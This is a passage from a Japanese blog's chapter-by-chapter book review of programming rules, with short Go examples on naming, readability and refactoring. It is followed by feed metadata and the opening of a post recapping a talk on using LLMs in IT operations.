雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム×数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 実装}この変更は単純ですが、大規模なコードベースでは膨大な時間がかかる可能性があります。しかし、著者の指摘通り、この作業を避けることは長期的には問題を引き起こす可能性が高いです。バグの修正と波及効果著者は、一つのバグを修正した際に、同様のバグが他の箇所にも存在する可能性を指摘しています。これは重要な指摘で、セキュリティ問題などで特に注意が必要です。例えば、データベースクエリのSQLインジェクション脆弱性を発見した場合、同様の脆弱性が他の箇所にも存在する可能性を考え、コードベース全体を調査する必要があります。この調査と修正作業は退屈で時間がかかりますが、セキュリティ上重要です。自動化の誘惑著者は、退屈な作業に直面したときに、多くのプログラマーが自動化を試みる傾向があることを指摘しています。自動化は確かに強力ですが、それが本当に必要かどうかを冷静に判断することが重要です。例えば、コードフォーマットの問題に直面したとき、すぐにカスタムツールの開発に飛びつくのではなく、まず既存のツール(Goならgofmtやgoimports)を活用することを検討すべきです。ファイルサイズの管理著者は、ソースファイルが時間とともに大きくなっていく問題に言及しています。これは多くの開発者が経験する問題で、巨大なファイルはコードの理解を難しくします。Goの場合、パッケージレベルでの分割やインターフェースを活用したモジュール化が効果的な解決策となります。例えば:// main.gopackage mainimport ( \"myapp/user\" \"myapp/order\")func main() { // メイン処理}// user/user.gopackage usertype Service struct { // ユーザー関連の処理}// order/order.gopackage ordertype Service struct { // 注文関連の処理}このようなアプローチは、コードの管理を容易にし、チームの生産性を向上させます。まとめ「Sometimes You Just Need to Hammer the Nails」の原則は、ソフトウェア開発における地道な作業の重要性を強調しています。この原則は、特に大規模で長期的なプロジェクトにおいて重要です。プログラマーの三大美徳(怠慢、短気、傲慢)と組み合わせて考えると、この原則の重要性がより明確になります。地道な作業を避けないことは、長期的には効率を向上させ(怠慢)、将来の問題を予防し(短気)、高品質なコードを維持する(傲慢)ことにつながります。著者の提案するアプローチは、現代の開発環境、特にアジャイル開発やデブオプスの文脈で重要です。継続的インテグレーションや継続的デリバリーの実践において、小さな改善や修正を積み重ねることの重要性は増しています。しかし、ただ単に退屈な作業をこなすだけでは不十分です。重要なのは、これらの作業がプロジェクト全体にどのような影響を与えるかを理解し、戦略的に取り組むことです。例えば、レガシーコードの段階的な改善や、技術的負債の計画的な返済などが考えられます。この原則は特にチーム全体の文化と密接に関連しています。「退屈な作業も重要だ」という認識をチーム全体で共有し、それを評価する文化を築くことが、長期的には大きな差を生みます。例えば、週に1日を「技術的負債の返済日」として設定し、チーム全体でリファクタリングや文書化、テストカバレッジの向上などに取り組むことで、長期的にはコードの品質向上と開発速度の維持につながります。最後に、この章から学んだ最も重要な教訓は、短期的な不快感と長期的な利益のバランスを取ることの重要性です。退屈な作業を避けることで得られる一時的な快感よりも、それを適切に行うことで得られる長期的な利益の方がはるかに大きいのです。今後のプロジェクトでは、この原則を念頭に置きつつ、チーム全体で地道な作業の重要性を認識し、それを効果的に進める方法を模索していくことが重要です。おわりに本書は、長年のゲーム開発経験から抽出された貴重な知恵の宝庫です。本書で提示された21のルールは、プログラミングの技術的側面だけでなく、ソフトウェア開発のプロセス全体に適用できる普遍的な価値を持っています。しかし、著者が強調しているように、これらのルールを鵜呑みにするのではなく、批判的に考え、自身の環境に適応させることが重要です。技術の進歩や開発手法の変化に伴い、プログラミングの原則も進化していく必要があります。本書を読んで、私は自身のコーディング習慣や設計アプローチを見直すきっかけを得ました。同時に、チーム全体でこれらの原則について議論し、共通の理解を築くことの重要性を再認識しました。最後に、本書はプログラミングの技術書であると同時に、ソフトウェア開発の哲学書でもあります。単に「どのようにコードを書くか」だけでなく、「なぜそのようにコードを書くべきか」について深く考えさせられます。この本は、経験レベルに関わらず、すべてのプログラマーにとって価値ある一冊だと確信しています。今後も、この本で学んだ原則を実践しながら、自身の経験を通じてさらに理解を深めていきたいと思います。エンジニアはソフトスキルよりもハードスキルを磨くべきであり、昔読んだリーダブルコードばかり紹介せずに、新しい知見を学び続けることが重要です。常に進化する技術に対応するため、新しい知識を積極的に吸収していく姿勢が必要不可欠だと考えています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-09-15T06:17:38.000Z","dateMiliSeconds":1726381058000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Operator Days Tokyo 2024 でLLMで運用を改善する時の基本のキを話してきた #CODT2024","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","contentSnippet":"はじめにこんにちは。今日、Cloud Operator Days 2024 クロージングイベントにて「2024年版 運用者たちのLLM」というタイトルで登壇させていただきました。この記事では、発表の内容と、それに対する反響、そして個人的な振り返りを共有したいと思います。https://cloudopsdays.com/ より引用発表資料 speakerdeck.com発表の概要今回の発表では、LLM(大規模言語モデル)が運用にもたらす可能性と課題について探りました。主に以下のポイントに焦点を当てて議論を展開しました。AIOpsの文脈におけるLLMの位置づけLLMによる運用タスクの改善インシデント対応ドキュメンテーションコード分析LLM活用における課題「幻覚」問題不完全性とバイアス効果的なLLM活用のための戦略適切な利用方法プロンプトエンジニアリングの重要性発表タイトルを「2024年版 運用者たちのLLM」としたのには、理由があります。AIOpsが流行した際に見られた議論が、LLMについても繰り返されているなぁと感じたからです。仕方ないのですが新しい技術が登場するたびに、その可能性と課題について同様の議論が繰り返されます。この観察から、LLMの運用への適用についても、過去の教訓を活かしつつ、冷静に評価することの重要性を強調したいと考えました。技術の進化は確かに速いですが、基本的な課題や考慮すべき点は、意外にも変わらないことが多いのです。そのため、この発表ではLLMの新しい部分を認識しつつも、過去の類似技術の導入事例から学び、より成熟したアプローチで運用に活かす方法を提案することを目指しました。LLMがもたらす可能性LLMは、自然言語処理能力と豊富な知識ベースを活かして、運用の様々な側面を改善する可能性を秘めています。例えば:インシデント対応:過去の類似事例の迅速な検索と解決策の提案ドキュメンテーション:自動生成や更新、整理による効率化コード分析:バグの検出、最適化の提案、セキュリティ脆弱性の指摘これらでは、運用チームの生産性向上と、人間のエラーを減少させることが期待できます。課題と注意点一方で、運用におけるLLMにはいくつかの重要な課題があります。「幻覚」問題:事実と異なる情報を自信を持って提示してしまう不完全性:最新の情報や専門的な知識が不足している可能性バイアス:学習データに含まれるバイアスが出力に反映されるこれらの課題に対処するためには、LLMの出力を常に人間が検証し、適切に管理することが重要です。効果的な活用に向けてLLMを効果的に活用するためには、以下のアプローチが有効です。明確な利用ガイドラインの策定実行能力を奪っておくプロンプトエンジニアリングのスキル向上人間とLLMの協調作業モデルの確立継続的な学習と改善のプロセス導入反響と今